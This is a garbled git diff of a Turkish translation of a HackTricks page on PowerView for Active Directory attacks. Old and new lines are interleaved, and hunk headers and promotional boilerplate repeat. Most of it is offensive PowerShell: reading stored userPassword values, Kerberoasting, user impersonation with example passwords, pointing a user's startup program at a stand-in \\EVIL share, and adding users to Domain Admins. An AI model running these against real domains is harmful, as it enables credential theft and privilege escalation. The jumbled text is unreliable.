* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR gönderin.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
PowerView'ın en güncel sürümü her zaman PowerSploit'in dev dalında olacaktır: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
PowerView'un en güncel versiyonu her zaman PowerSploit'in dev dalında olacaktır: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView), [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)'ın .NET portudur.
[**SharpView**](https://github.com/tevora-threat/SharpView), [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) için bir .NET portudur.
### Hızlı numaralandırma
```powershell
@ -141,7 +144,7 @@ Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Oturum Açma ve Oturumlar
### Giriş ve Oturumlar
```powershell
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
@ -149,10 +152,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```
### Grup İlkesi Nesnesi - GPO'lar
### Grup Politika Nesnesi - GPO'lar
Bir saldırganın **bir GPO üzerinde yüksek ayrıcalıklara** sahip olması durumunda, bunu istismar ederek **bir kullanıcıya izinler ekleyebilir**, bir makineye **yerel bir yönetici kullanıcısı ekleyebilir** veya bir eylem gerçekleştirmek için (hemen) **zamanlanmış bir görev oluşturabilir**.\
Daha fazla bilgi ve bunu nasıl istismar edeceğiniz hakkında [**bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
Eğer bir saldırganın **bir GPO üzerinde yüksek ayrıcalıkları** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir eylemi gerçekleştirmek için bir zamanlanmış görev oluşturarak** bunu **privesc** için kullanabilme ihtimali vardır.\
[**Bununla ilgili daha fazla bilgi ve nasıl istismar edileceği için bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -186,7 +189,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
**GPO'lar ve ACL'ler üzerindeki izinleri nasıl sömürüleceğini** öğrenin:
İzinleri **GPO'lar ve ACL'ler üzerinden istismar etmeyi** öğrenin:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
@ -219,7 +222,7 @@ Get-NetFileServer #Search file servers. Lot of users use to be logged in this ki
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Alan Güveniği
### Alan Güveni
```powershell
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
@ -236,7 +239,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### Kolay Hedefler
### Düşük**-**hanging meyve**
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -280,9 +283,9 @@ Invoke-UserHunter -Stealth
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### ÇEŞİTLİ
### MISC
#### SID'ten İsme
#### SID'den İsim'e
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
@ -290,14 +293,14 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Farklı kimlik bilgilerini kullanın (argüman)
#### Farklı kimlik bilgileri kullanın (argüman)
```powershell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### Bir kullanıcıyı taklit etmek
#### Bir kullanıcıyı taklit et
```powershell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
@ -306,7 +309,7 @@ Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
```
#### Değerleri ayarla
#### Değerleri Ayarla
```powershell
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
@ -321,14 +324,17 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar gönderin [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more